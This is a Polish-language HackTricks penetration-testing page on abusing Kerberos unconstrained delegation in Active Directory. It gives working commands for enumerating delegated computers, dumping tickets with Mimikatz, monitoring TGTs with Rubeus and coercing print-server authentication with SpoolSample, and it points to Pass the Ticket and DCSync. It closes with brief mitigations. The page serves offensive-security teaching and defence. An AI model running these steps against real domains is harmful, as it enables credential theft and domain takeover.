Unconstrained Delegation

Reading time: 3 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Unconstrained delegation

To funkcja, którą Administrator Domeny może ustawić dla dowolnego Komputera w domenie. Następnie, za każdym razem, gdy użytkownik loguje się na Komputerze, kopie TGT tego użytkownika będą wysyłane w TGS dostarczonym przez DC i zapisywane w pamięci w LSASS. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł zrzucić bilety i podszyć się pod użytkowników na dowolnej maszynie.

Jeśli więc administrator domeny loguje się na Komputerze z aktywowaną funkcją "Unconstrained Delegation", a ty masz lokalne uprawnienia administratora na tej maszynie, będziesz mógł zrzucić bilet i podszyć się pod Administratora Domeny wszędzie (privesc domeny).

Możesz znaleźć obiekty Komputerów z tym atrybutem sprawdzając, czy atrybut userAccountControl zawiera ADS_UF_TRUSTED_FOR_DELEGATION. Możesz to zrobić za pomocą filtru LDAP ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, co robi powerview:

# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser: /interval:10 #Check every 10s for new TGTs

Załaduj bilet Administratora (lub użytkownika ofiary) w pamięci za pomocą Mimikatz lub Rubeus dla Pass the Ticket.
Więcej informacji: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Więcej informacji o Unconstrained delegation w ired.team.

Force Authentication

Jeśli atakujący jest w stanie skompromentować komputer dozwolony dla "Unconstrained Delegation", mógłby oszukać serwer drukarki, aby automatycznie się zalogował do niego zapisując TGT w pamięci serwera.
Następnie atakujący mógłby przeprowadzić atak Pass the Ticket, aby podszyć się pod konto komputera serwera drukarki.

Aby sprawić, by serwer drukarki zalogował się na dowolnej maszynie, możesz użyć SpoolSample:

bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>

Jeśli TGT pochodzi z kontrolera domeny, możesz przeprowadzić a DCSync attack i uzyskać wszystkie hashe z DC.
Więcej informacji na temat tego ataku na ired.team.

Oto inne sposoby na wymuszenie uwierzytelnienia:

{{#ref}} printers-spooler-service-abuse.md {{#endref}}

Mitigacja

  • Ogranicz logowania DA/Admin do określonych usług
  • Ustaw "Konto jest wrażliwe i nie może być delegowane" dla uprzywilejowanych kont.

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks